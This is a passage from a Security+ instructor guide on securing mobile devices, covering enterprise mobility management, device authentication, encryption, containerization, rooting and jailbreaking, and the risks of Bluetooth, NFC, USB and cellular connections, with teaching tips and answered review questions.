and can be accessed remotely. The same technology can be accessed via a mobile
device such as a smartphone or tablet. This removes some of the security concerns
about BYOD as the corporate apps and data are segmented from the other apps on
the device.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 345

Enterprise Mobility Management Show Slide(s)

Enterprise mobility management (EMM) is a class of management software designed Enterprise Mobility
to apply security policies to the use of mobile devices and apps in the enterprise. The Management
challenge of identifying and managing attached devices is often referred to as visibility.
EMM software can be used to manage enterprise-owned devices as well as BYOD. Teaching
There are two main functions of an EMM product suite: Tip
• Mobile device management (MDM)—sets device policies for authentication, At this point, MDM
and MAM are probably
feature use (camera and microphone), and connectivity. MDM can also allow device
best thought of as
resets and remote wipes. functionality within
products, rather than
• Mobile application management (MAM)—sets policies for apps that can process product classes.
corporate data, and prevents data transfer to personal apps. This type of solution Note the trend toward
configures an enterprise-managed container or workspace. unified endpoint
management,
Additionally, distinguishing whether client endpoints are mobile or fixed is not really including IoT devices.
a critical factor for many of these management tasks, with the consequence that
the latest suites aim for visibility across PC, laptop, smartphone, tablet, and even IoT Interaction
devices. These suites are called unified endpoint management (UEM) (redmondmag. Opportunity
com/Articles/2017/10/01/Unified-Endpoint-Management.aspx). Encourage students
to browse the vendor
The core functionality of endpoint management suites extends the concept of sites referenced in the
network access control (NAC) solutions. The management software logs the use of a text to get a better
device on the network and determines whether to allow it to connect or not, based idea of the features
on administrator-set parameters. When the device is enrolled with the management and capabilities of
software, it can be configured with policies to allow or restrict use of apps, corporate EMM/UEM suites.
data, and built-in functions, such as a video camera or microphone.
Some EMM/UEM solutions include AirWatch (air-watch.com), Microsoft Intune
(microsoft.com/en-us/microsoft-365/enterprise-mobility-security/microsoft-intune),
Symantec/Broadcom (broadcom.com/products/cyber-security/endpoint/end-user/
protection-mobile), and Citrix Endpoint Management (formerly XenMobile) (citrix.com/
products/citrix-endpoint-management).

iOS in the Enterprise Show Slide(s)

In Apple's iOS ecosystem, third-party developers can create apps using Apple's iOS in the Enterprise
Software Development Kit, available only on MacOS. Apps have to be submitted to
and approved by Apple before they are released to users via the App Store. Corporate Teaching
control over iOS devices and distribution of corporate and B2B (Business-to-Business) Tip
apps is facilitated by participating in the Device Enrollment Program (support.apple. Remind students of
com/business), the Volume Purchase Program, and the Developer Enterprise Program the importance of
(developer.apple.com/programs/enterprise). Another option is to use an EMM suite keeping developer
and its development tools to create a "wrapper" for the corporate app. accounts secure.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 346 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Configuring iOS device enrollment in Microsoft's Intune EMM suite.

(Screenshot used with permission from Microsoft.)

Most iOS attacks are the same as with any system; users click malicious links or enter
information into phishing sites, for instance. As a closed and proprietary system, it
should not be possible for malware to infect an iOS device as all code is updated from
Apple's servers only. There remains the risk that a vulnerability in either iOS or an app
could be discovered and exploited. In this event, users would need to update iOS or the
app to a version that mitigates the exploit.

Show Slide(s) Android in the Enterprise

Android in the
Android's open source basis means that there is more scope for vendor-specific
Enterprise versions. The app model is also more relaxed, with apps available from both Google
Play and third-party sites, such as Amazon's app store. The SDK is available on Linux,
Windows, and macOS. The Android Enterprise (android.com/enterprise) program
facilitates use of EMM suites and the containerization of corporate workspaces.
Additionally, Samsung has a workspace framework called KNOX (samsung.com/us/
business/solutions/samsung-knox) to facilitate EMM control over device functionality.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 347

Enrolling an Android smartphone with Intune.

(Android is a trademark of Google LLC.)

iOS devices are normally updated very quickly. With Android, the situation is less
consistent, as updates often depend on the handset vendor to complete the new
version or issue the patch for their flavor of Android. Android OS is more open and
there is Android malware, though as with Apple it is difficult for would-be hackers and
spammers to get it into any of the major app repositories.

One technique used is called Staged Payloads. The malware writers release an app that
appears innocuous in the store but once installed it attempts to download additional
components infected with malware (zdnet.com/article/android-security-sneaky-three-stage-
malware-found-in-google-play-store). Google has implemented a server-side malware
scanning product (Play Protect) that will both warn users if an app is potentially damaging
and scan apps that have already been purchased, and warn the user if any security issues
have been discovered.

Since version 4.3, Android has been based on Security-Enhanced Linux. SEAndroid
(source.android.com/security/selinux) uses mandatory access control (MAC) policies to
run apps in sandboxes. When the app is installed, access is granted (or not) to specific
shared features, such as contact details, SMS texting, and email.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 348 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Configuring app permissions in Android OS. (Android is a trademark of Google LLC.)

Show Slide(s) Mobile Access Control Systems

Mobile Access Control
If a threat actor is able to gain access to a smartphone or tablet, they can obtain a huge
Systems amount of information and the tools with which to launch further attacks. Quite apart from
confidential data files that might be stored on the device, it is highly likely that the user has
Teaching cached passwords for services such as email or remote access VPN and websites.
Tip
For students who Smartphone Authentication
have taken A+, this
subject matter should The majority of smartphones and tablets are single-user devices. Access control can be
be familiar. Just note implemented by configuring a screen lock that can only be bypassed using the correct
the way that EMM can password, PIN, or swipe pattern. Many devices now support biometric authentication,
be used to enforce usually as a fingerprint reader but sometimes using facial or voice recognition.
authentication types.

Configuring authentication and profile policies using Intune EMM—Note that the policy allows the user
to have a different type of authentication (or none at all) to the workspace hosting corporate apps
and data. (Screenshot used with permission from Microsoft.)

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 349

Strong passwords should always be set on mobile devices, as simple 4-digit PIN codes can
easily be brute-forced. Swipe patterns are vulnerable to poor user choices (arstechnica.
com/information-technology/2015/08/new-data-uncovers-the-surprising-predictability-of-
android-lock-patterns), such as choosing letter or box patterns, plus the tendency for the
grease trail to facilitate a smudge attack.

Screen Lock
The screen lock can also be configured with a lockout policy. This means that if an
incorrect passcode is entered, the device locks for a set period. This could be configured
to escalate (so the first incorrect attempt locks the device for 30 seconds while the third
locks it for 10 minutes, for instance). This deters attempts to guess the passcode.

Context-Aware Authentication
It is also important to consider newer authentication models, such as context-aware
authentication. For example, smartphones now allow users to disable screen locks
when the device detects that it is in a trusted location, such as the home. Conversely,
an enterprise may seek more stringent access controls to prevent misuse of a device.
For example, even if the device has been unlocked, accessing a corporate workspace
might require the user to authenticate again. It might also check whether the network
connection can be trusted (that it is not an open Wi-FI hotspot, for instance).

Remote Wipe Show Slide(s)

A remote wipe or kill switch means that if the handset is stolen it can be set to the Remote Wipe
factory defaults or cleared of any personal data (sanitization). Some utilities may also
be able to wipe any plug-in memory cards too. The remote wipe could be triggered by
several incorrect passcode attempts or by enterprise management software. Other
features include backing up data from the phone to a server first and displaying a
"Lost/stolen phone—return to XX" message on the handset.

Most corporate messaging systems come with a remote wipe feature (such as this one provided with
Intermedia mail hosting), allowing mail, calendar, and contacts information to be deleted from mobile
devices. (Screenshot used with permission from Intermedia.)

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 350 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

In theory, a thief can prevent a remote wipe by ensuring the phone cannot connect to
the network, then hacking the phone and disabling the security.

Show Slide(s) Full Device Encryption and External Media

Full Device Encryption
All but the early versions of mobile device OSes for smartphones and tablets provide
and External Media full device encryption. In iOS, there are various levels of encryption.
• All user data on the device is always encrypted but the key is stored on the device.
Teaching
This is primarily used as a means of wiping the device. The OS just needs to delete
Tip
the key to make the data inaccessible rather than wiping each storage location.
Note that full disk
encryption makes a • Email data and any apps using the "Data Protection" option are subject to a second
handset less usable as
round of encryption using a key derived from and protected by the user's credential.
a phone, so encryption
is applied to user data This provides security for data in the event that the device is stolen. Not all user
areas rather than the data is encrypted using the "Data Protection" option; contacts, SMS messages, and
whole device. pictures are not, for example.

In iOS, Data Protection encryption is enabled automatically when you configure a

password lock on the device. In Android, there are substantial differences to encryption
options between versions (source.android.com/security/encryption). As of Android 10,
there is no full disk encryption as it is considered too detrimental to performance. User
data is encrypted at file-level by default.
A mobile device contains a solid state (flash memory) drive for persistent storage of
apps and data. Some Android handsets support removable storage using external
media, such as a plug-in Micro SecureDigital (SD) card slot; some may support the
connection of USB-based storage devices. The mobile OS encryption software might
allow encryption of the removable storage too but this is not always the case. Care
should be taken to apply encryption to storage cards using third-party software if
necessary and to limit sensitive data being stored on them.
A MicroSD HSM is a small form factor hardware security module designed to store
cryptographic keys securely. This allows the cryptographic material to be used with
different devices, such as a laptop and smartphone.

Show Slide(s) Location Services

Location Services
Geolocation is the use of network attributes to identify (or estimate) the physical
position of a device. The device uses location services to determine its current position.
Teaching Location services can make use of two systems:
Tip • Global Positioning System (GPS)—a means of determining the device's latitude and
Make sure students longitude based on information received from satellites via a GPS sensor.
can distinguish the
various geo-something • Indoor Positioning System (IPS)—works out a device's location by triangulating
technologies. its proximity to other radio sources, such as cell towers, Wi-Fi access points, and
Bluetooth/RFID beacons.

Location services is available to any app where the user has granted the app
permission to use it.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 351

Using Find My Device to locate an Android smartphone. (Android is a trademark of Google LLC.)

The primary concern surrounding location services is one of privacy. Although very
useful for maps and turn-by-turn navigation, it provides a mechanism to track an
individual's movements, and therefore their social and business habits. The problem
is further compounded by the plethora of mobile apps that require access to location
services and then both send the information to the application developers and store
it within the device's file structure. If an attacker can gain access to this data, then
stalking, social engineering, and even identity theft become real possibilities.

Geofencing and Camera/Microphone Enforcement

Geofencing is the practice of creating a virtual boundary based on real-world
geography. Geofencing can be a useful tool with respect to controlling the use of
camera or video functions or applying context-aware authentication. An organization
may use geofencing to create a perimeter around its office property, and subsequently,
limit the functionality of any devices that exceed this boundary. An unlocked
smartphone could be locked and forced to re-authenticate when entering the
premises, and the camera and microphone could be disabled. The device's position is
obtained from location services.

Restricting device permissions such as camera and screen capture using Intune.
(Screenshot used with permission from Microsoft.)

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 352 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

GPS Tagging
GPS tagging is the process of adding geographical identification metadata, such as
the latitude and longitude where the device was located at the time, to media such as
photographs, SMS messages, video, and so on. It allows the app to place the media
at specific latitude and longitude coordinates. GPS tagging is highly sensitive personal
information and potentially confidential organizational data also. GPS tagged pictures
uploaded to social media could be used to track a person's movements and location.
For example, a Russian soldier revealed troop positions by uploading GPS tagged
selfies to Instagram (arstechnica.com/tech-policy/2014/08/opposite-of-opsec-russian-
soldier-posts-selfies-from-inside-ukraine).

Show Slide(s) Application Management

Application
When a device is joined to the corporate network through enrollment with
Management management software, it can be configured into an enterprise workspace mode in
which only a certain number of authorized applications can run.
Teaching
Tip
Note that sideloading
is both a way of
adding enterprise
apps and an
undesirable behavior
that needs to be
prevented on
corporate-owned
devices.

Endpoint management software such as Microsoft Intune can be used to approve or prohibit apps.
(Screenshot used with permission from Microsoft.)

A trusted app source is one that is managed by a service provider. The service provider
authenticates and authorizes valid developers, issuing them with a certificate to use
to sign their apps and warrant them as trusted. It may also analyze code submitted to
ensure that it does not pose a security or privacy risk to its customers (or remove apps
that are discovered to pose such a risk). It may apply other policies that developers
must meet, such as not allowing apps with adult content or apps that duplicate the
function of core OS apps.
The mobile OS defaults to restricting app installations to the linked store (App Store for
iOS and Play for Android). Most consumers are happy with this model but it does not
work so well for enterprises. It might not be appropriate to deliver a custom corporate
app via a public store, where anyone could download it. Apple operates enterprise
developer and distribution programs to solve this problem, allowing private app
distribution via Apple Business Manager (developer.apple.com/business/distribute).
Google's Play store has a private channel option, called Managed Google Play. Both
these options allow an EMM/UEM suite to push apps from the private channel to
the device.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 353

Unlike iOS, Android allows for selection of different stores and installation of untrusted
apps from any third party, if this option is enabled by the user. With unknown sources
enabled, untrusted apps can be downloaded from a website and installed using the
.apk file format. This is referred to as sideloading.
Conversely, a management suite might be used to prevent the use of third-party stores
or sideloading and block unapproved app sources.

Content Management Show Slide(s)

Containerization allows the employer to manage and maintain the portion of the Content Management
device that interfaces with the corporate network. An enterprise workspace with a
defined selection of apps and a separate container is created. This container isolates Teaching
corporate apps from the rest of the device. There may be a requirement for additional Tip
authentication to access the workspace. Note that the
security of these
The container can also enforce storage segmentation. With storage segmentation the
containerization
container is associated with a directory on the persistent storage device that is not mechanisms depends
readable or writable by apps that are not in the container. Conversely, apps cannot upon the device not
write to areas outside the container, such as external media or using copy and paste being rooted.
to a non-container app. App network access might be restricted to a VPN tunneled
through the organization's security system.
The enterprise is thereby able to maintain the security it needs, without having to
enforce policies that affect personal use, apps, or data.
Containerization also assists content management and data loss prevention (DLP)
systems. A content management system tags corporate or confidential data and
prevents it from being shared or copied to unauthorized external media or channels,
such as non-corporate email systems or cloud storage services.

Rooting and Jailbreaking Show Slide(s)

Like Windows and Linux, the account used to install the OS and run kernel-level Rooting and
processes is not the one used by the device owner. Users who want to avoid the Jailbreaking
restrictions that some OS vendors, handset OEMs, and telecom providers (carriers) put
on the devices must use some type of privilege escalation: Teaching
Tip
• Rooting—this term is associated with Android devices. Some vendors provide
authorized mechanisms for users to access the root account on their device. For Detecting whether
a device has been
some devices it is necessary to exploit a vulnerability or use custom firmware. rooted is not
Custom firmware is essentially a new Android OS image applied to the device. This straightforward.
can also be referred to as a custom ROM, after the term for the read only memory You might want to
chips that used to hold firmware. point students to
Google's attestation
• Jailbreaking—iOS is more restrictive than Android so the term "jailbreaking" API documentation
became popular for exploits that enabled the user to obtain root privileges, for more information
on root detection
sideload apps, change or add carriers, and customize the interface. iOS jailbreaking
(developer.android.
is accomplished by booting the device with a patched kernel. For most exploits, com/training/
this can only be done when the device is attached to a computer when it boots safetynet/attestation).
(tethered jailbreak).

• Carrier unlocking—for either iOS or Android, this means removing the restrictions
that lock a device to a single carrier.

Rooting or jailbreaking mobile devices involves subverting the security measures on

the device to gain administrative access to it. This also has the side effect of leaving
many security measures permanently disabled. If the user has root permissions, then
essentially any management agent software running on the device is compromised.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 354 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

If the user has applied a custom firmware image, they could have removed the
protections that enforce segmentation. The device can no longer be assumed to run a
trusted OS.
EMM/UEM has routines to detect a rooted or jailbroken device or custom firmware with
no valid developer code signature and prevent access to an enterprise app, network,
or workspace. Containerization and enterprise workspaces can use cryptography to
protect the workspace in a way that is much harder to compromise than a local agent,
even from a rooted/jailbroken device.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 355

Review Activity:
Mobile Device Management
Answer the following questions:

1. What type of deployment model(s) allow users to select the mobile device
make and model?

Bring Your Own Device (BYOD) and Choose Your Own Device (CYOD).

2. How does VDI work as a mobile deployment model?

Virtual Desktop Infrastructure (VDI) allows a client device to access a VM. In this
scenario, the mobile device is the client device. Corporate data is stored and processed
on the VM so there is less chance of it being compromised, even though the client
device itself is not fully managed.

3. Company policy requires that you ensure your smartphone is secured from
unauthorized access in case it is lost or stolen. To prevent someone from
accessing data on the device immediately after it has been turned on, what
security control should be used?

Screen lock.

4. An employee's car was recently broken into, and the thief stole a company
tablet that held a great deal of sensitive data. You've already taken the
precaution of securing plenty of backups of that data. What should you do
to be absolutely certain that the data doesn't fall into the wrong hands?

Remotely wipe the device, also referred to as a kill switch.

5. What is containerization?

A mobile app or workspace that runs within a partitioned environment to prevent

other (unauthorized) apps from interacting with it.

6. What is the process of sideloading?

The user installs an app directly onto the device rather than from an official app store.

7. Why might a company invest in device control software that prevents the
use of recording devices within company premises?

To hinder physical reconnaissance and espionage.

8. Why is a rooted or jailbroken device a threat to enterprise security?

Enterprise Mobility Management (EMM) solutions depend on the device user not
being able to override their settings or change the effect of the software. A rooted or
jailbroken device means that the user could subvert the access controls.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 356 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 13B
Implement Secure Mobile
Device Connections

Teaching EXAM OBJECTIVES COVERED

Tip 1.4 Given a scenario, analyze potential indicators associated with network attacks
This topic completes 3.5 Given a scenario, implement secure mobile solutions
the coverage of
objective 3.5 by
looking at connection
As well as authentication and authorization for features and apps, management
methods. We also suites can also assist with networking options for mobile. You must be able to disable
cover the Bluetooth, communication types that are not secure for local networks, and advise users about
NFC, and RFID attacks the security of communications when they use their devices remotely.
from 1.4

Show Slide(s) Cellular and GPS Connection Methods

Cellular and GPS
Mobile devices use a variety of connection methods to establish communications in
Connection Methods local and personal area networks and for Internet data access via service providers.

Locking down Android connectivity methods with Intune—note that most settings can be applied only
to Samsung KNOX-capable devices. (Screenshot used with permission from Microsoft.)

Cellular Data Connections

Smartphones and some tablets use the cell phone network for calls and data access. A
cellular data connection is less likely to be subject to monitoring and filtering. It may be
appropriate to disable it when a device has access to an enterprise network or data, to
prevent its use for data exfiltration.
There have been attacks and successful exploits against the major infrastructure
and protocols underpinning the telecoms network, notably the SS7 hack (theregister.
com/2017/05/03/hackers_fire_up_ss7_flaw). There is little that either companies or

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 357

individuals can do about these weaknesses. The attacks require a high degree of
sophistication and are relatively uncommon.

Global Positioning System (GPS)

A global positioning system (GPS) sensor triangulates the device position using
signals from orbital GPS satellites. As this triangulation process can be slow, most
smartphones use Assisted GPS (A-GPS) to obtain coordinates from the nearest cell
tower and adjust for the device's position relative to the tower. A-GPS uses cellular
data. GPS satellites are operated by the US Government. Some GPS sensors can
use signals from other satellites, operated by the EU (Galileo), Russia (GLONASS), or
China (BeiDou).
GPS signals can be jammed or even spoofed using specialist radio equipment. This
might be used to defeat geofencing mechanisms, for instance (kaspersky.com/blog/
gps-spoofing-protection/26837).

Wi-Fi and Tethering Connection Methods Show Slide(s)

Mobile devices usually default to using a Wi-Fi connection for data, if present. If the Wi-Fi and Tethering
user establishes a connection to a corporate network using strong WPA3 security, Connection Methods
there is a fairly low risk of eavesdropping or man-in-the-middle attacks. The risks from
Wi-Fi come from users connecting to open access points or possibly a rogue access
point imitating a corporate network. These allow the access point owner to launch any
number of attacks, even potentially compromising sessions with secure servers (using
a DNS spoofing attack, for instance).

Personal Area Networks (PANs)

Personal area networks (PANs) enable connectivity between a mobile device and
peripherals. Ad hoc (or peer-to-peer) networks between mobile devices or between
mobile devices and other computing devices can also be established. In terms of
corporate security, these peer-to-peer functions should generally be disabled. It might
be possible for an attacker to exploit a misconfigured device and obtain a bridged
connection to the corporate network.

Ad Hoc Wi-Fi and Wi-Fi Direct

Wireless stations can establish peer-to-peer connections with one another, rather than
using an access point. This can also called be called an ad hoc network, meaning that
the network is not made permanently available. There is no established, standards-
based support for ad hoc networking, however. MITRE have a project to enable Android
smartphones to configure themselves in an ad hoc network (mitre.org/research/
technology-transfer/open-source-software/smartphone-ad-hoc-networking-span).
Wi-Fi Direct allows one-to-one connections between stations, though in this case one
of the devices actually functions as a soft access point. Wi-Fi Direct depends on Wi-Fi
Protected Setup (WPS), which has many vulnerabilities. Android supports operating as
a Wi-Fi Direct AP, but iOS uses a proprietary multipeer connectivity framework. You can
connect an iOS device to another device running a Wi-Fi direct soft AP, however.
There are also wireless mesh products from vendors such as Netgear and Google
that allow all types of wireless devices to participate in a peer-to-peer network. These
products might not be interoperable, though more are now supporting the EasyMesh
standard (wi-fi.org/discover-wi-fi/wi-fi-easymesh).

Tethering and Hotspots

A smartphone can share its Internet connection with another device, such as a PC.
Where this connection is shared over Wi-Fi with multiple other devices, the smartphone

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 358 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

can be described as a hotspot. Where the connection is shared by connecting the

smartphone to a PC over a USB cable or with a single PC via Bluetooth, it can be
referred to as tethering. However, the term "Wi-Fi tethering" is also quite widely
used to mean a hotspot. This type of functionality would typically be disabled when
the device is connected to an enterprise network, as it might be used to circumvent
security mechanisms, such as data loss prevention or a web content filtering policies.

Show Slide(s) Bluetooth Connection Methods

Bluetooth Connection
Bluetooth is one of the most popular technologies for implementing PANs. While native
Methods Bluetooth has fairly low data rates, it can be used to pair with another device and then
use a Wi-Fi link for data transfer. This sort of connectivity is implemented by iOS's
AirDrop feature.
Bluetooth devices have a few known security issues:
• Device discovery—a device can be put into discoverable mode meaning that it will
connect to any other Bluetooth devices nearby. Unfortunately, even a device in non-
discoverable mode is quite easy to detect.

• Authentication and authorization—devices authenticate ("pair") using a simple

passkey configured on both devices. This should always be changed to some secure
phrase and never left as the default. Also, check the device's pairing list regularly to
confirm that the devices listed are valid.

• Malware—there are proof-of-concept Bluetooth worms and application exploits,

most notably the BlueBorne exploit (armis.com/blueborne), which can compromise
any active and unpatched system regardless of whether discovery is enabled
and without requiring any user intervention. There are also vulnerabilities in
the authentication schemes of many devices. Keep devices updated with the
latest firmware.

Pairing a computer with a smartphone. (Screenshot used with permission from Microsoft.)

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 359

It is also the case that using a control center toggle may not actually turn off the Bluetooth
radio on a mobile device. If there is any doubt about patch status or exposure to
vulnerabilities, Bluetooth should be fully disabled through device settings.

Unless some sort of authentication is configured, a discoverable device is vulnerable to

bluejacking, a sort of spam where someone sends you an unsolicited text (or picture/
video) message or vCard (contact details). This can also be a vector for malware,
as demonstrated by the Obad Android Trojan malware (securelist.com/the-most-
sophisticated-android-trojan/35929).
Bluesnarfing refers to using an exploit in Bluetooth to steal information from
someone else's phone. The exploit (now patched) allows attackers to circumvent
the authentication mechanism. Even without an exploit, a short (4 digit) PIN code is
vulnerable to brute force password guessing.
Other significant risks come from the device being connected to. A peripheral device
with malicious firmware can be used to launch highly effective attacks. This type of
risk has a low likelihood, as the resources required to craft such malicious peripherals
are demanding.

Infrared and RFID Connection Methods Show Slide(s)

Infrared signaling has been used for PAN in the past (IrDA), but the use of infrared in Infrared and RFID
modern smartphones and wearable technology focuses on two other uses: Connection Methods
• IR blaster—this allows the device to interact with an IR receiver and operate a device
such as a TV or HVAC monitor as though it were the remote control handset.

• IR sensor—these are used as proximity sensors (to detect when a smartphone is

being held to the ear, for instance) and to measure health information (such as
heart rate and blood oxygen levels).

Radio Frequency ID (RFID) is a means of encoding information into passive tags,

which can be easily attached to devices, structures, clothing, or almost anything else. A
passive tag can have a range from a few centimeters to a few meters. When a reader
is within range of the tag, it produces an electromagnetic wave that powers up the tag
and allows the reader to collect information from it or to change the values encoded in
the tag. There are also battery-powered active tags that can be read at much greater
distances (hundreds of meters). Show Slide(s)
One type of RFID attack is skimming, which is where an attacker uses a fraudulent
RFID reader to read the signals from a contactless bank card. Any reader can access Near Field
any data stored on any RFID tag, so sensitive information must be protected using Communications
cryptography. It is also possible (in theory) to design RFID tags to inject malicious code and Mobile Payment
to try to exploit a vulnerability in a reader. Services

Teaching
Near Field Communications and Mobile Payment Services Tip
Sophos Security has
NFC is based on a particular type of radio frequency ID (RFID). NFC sensors and
produced a video
functionality are now commonly incorporated into smartphones. An NFC chip can about NFC card
also be used to read passive RFID tags at close range. It can also be used to configure skimming (facebook.
other types of connections (pairing Bluetooth devices for instance) and for exchanging com/SophosSecurity/
information, such as contact cards. An NFC transaction is sometimes known as a bump, videos/
named after an early mobile sharing app, later redeveloped as Android Beam, to use 10155345347100017).
They also evaluate
NFC. The typical use case is in "smart" posters, where the user can tap the tag in the card and wallet
poster to open a linked web page via the information coded in the tag. Attacks could protectors designed
be developed using vulnerabilities in handling the tag (securityboulevard.com/2019/10/ to block NFC
nfc-false-tag-vulnerability-cve-2019-9295). It is also possible that there may be some transmissions.

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 360 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

way to exploit NFC by crafting tags to direct the device browser to a malicious web
page where the attacker could try to exploit any vulnerabilities in the browser.
NFC does not provide encryption, so eavesdropping and man-in-the-middle attacks are
possible if the attacker can find some way of intercepting the communication and the
software services are not encrypting the data.
The widest application of NFC is to make payments via contactless point-of-sale (PoS)
machines. To configure a payment service, the user enters their credit card information
into a mobile wallet app on the device. The wallet app does not transmit the original
credit card information, but a one-time token that is interpreted by the card merchant
and linked backed to the relevant customer account. There are three major mobile
wallet apps: Apple Pay, Google Pay (formerly Android Pay), and Samsung Pay.
Despite having a close physical proximity requirement, NFC is vulnerable to several
types of attacks. Certain antenna configurations may be able to pick up the RF signals
emitted by NFC from several feet away, giving an attacker the ability to eavesdrop
from a more comfortable distance. An attacker with a reader may also be able to skim
information from an NFC device in a crowded area, such as a busy train. An attacker
may also be able to corrupt data as it is being transferred through a method similar
to a DoS attack—by flooding the area with an excess of RF signals to interrupt the
transfer.

Skimming a credit or bank card will give the attacker the long card number and expiry date.
Completing fraudulent transactions directly via NFC is much more difficult as the attacker
would have to use a valid merchant account and fraudulent transactions related to that
account would be detected very quickly.

Show Slide(s) USB Connection Methods

USB Connection
Android devices can be connected to a computer via the USB port. Apple devices
Methods require a lightning-to-USB converter cable. Once attached the computer can access the
device's hard drive, sync or backup apps, and upgrade the firmware.
Teaching
Some Android USB ports support USB On The Go (OTG) and there are adapters for
Tip
iOS devices. USB OTG allows a port to function either as a host or as a device. For
This attack vector example, a port on a smartphone might operate as a device when connected to a
doesn't seem to have
PC, but as a host when connected to a keyboard or external hard drive. The extra pin
many actual exploits
associated with it, communicates which mode the port is in.
but you could refer There are various ways in which USB OTG could be abused. Media connected to
students to Wall of
Sheep's Juice-Jacking
the smartphone could host malware. The malware might not be able to affect the
page (wallofsheep. smartphone itself but could be spread between host computers or networks via the
com/pages/juice). device. It is also possible that a charging plug could act as a Trojan and try to install
apps (referred to as juice-jacking), though modern versions of both iOS and Android
now require authorization before the device will accept the connection.

Show Slide(s) SMS/MMS/RCS and Push Notifications

SMS/MMS/RCS and
The Short Message Service (SMS) and Multimedia Message Service (MMS) are
Push Notifications operated by the cellular network providers. They allow transmission of text messages
and binary files. Vulnerabilities in SMS and the SS7 signaling protocol that underpins
it have cast doubt on the security of 2-step verification mechanisms (kaspersky.com/
blog/ss7-hacked/25529).
Rich Communication Services (RCS) is designed as a platform-independent advanced
messaging app, with a similar feature set to proprietary apps like WhatsApp and
iMesssage. These features include support for video calling, larger binary attachments,

Lesson 13: Implementing Secure Mobile Solutions | Topic 13B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 361

group messaging/calling, and read receipts. RCS is supported by carriers via Universal
Profile for Advanced Messaging (gsma.com/futurenetworks/digest/universal-profile-
version-2-0-advanced-rcs-messaging). The main drawbacks of RCS are that carrier
support is patchy (messages fallback to SMS if RCS is not supported) and there is no
end-to-end encryption, at the time of writing (theverge.com/2020/5/27/21271186/
google-rcs-t-mobile-encryption-ccmi-universal-profile).
Vulnerabilities in processing attachments and rich formatting have resulted in DoS
attacks against certain handsets in the past, so it is important to keep devices patched
against known threats.
Push notifications are store services (such as Apple Push Notification Service and
Google Cloud to Device Messaging) that an app or website can use to display an alert
on a mobile device. Users can choose to disable notifications for an app, but otherwise
the app developer can target notifications to some or all users with that app installed.
Developers need to take care to properly secure the account and services used to
send push notifications. There have been examples in the past of these accounts being
hacked and used to send fake communications.

Firmware Over-the-Air Updates Show Slide(s)

A baseband update modifies the firmware of the radio modem used for cellular, Wi-Fi, Firmware Over-the-Air
Bluetooth, NFC, and GPS connectivity. The radio firmware in a mobile device contains Updates
an operating system that is separate from the end-user operating system (for example,
Android or iOS). The modem uses its own baseband processor and memory, which
boots a real-time operating system (RTOS). An RTOS is often used for time-sensitive
embedded controllers, of the sort required for the modulation and frequency shifts
that underpin radio-based connectivity.
The procedures for establishing radio connections are complex and require strict
compliance with regulatory certification schemes, so incorporating these functions in
the main OS would make it far harder to bring OS updates to market. Unfortunately,
baseband operating systems have been associated with several vulnerabilities over the
years, so it is imperative to ensure that updates are applied promptly. These updates
are usually pushed to the handset by the device vendor, often as part of OS upgrades.
The updates can be delivered wirelessly, either through a Wi-Fi network or the data
connection, referred to as over-the-air (OTA). A handset that has been jailbroken
or rooted might be able to be configured to prevent baseband updates or apply a
particular version manually, but in the general course of things, there is little reason to
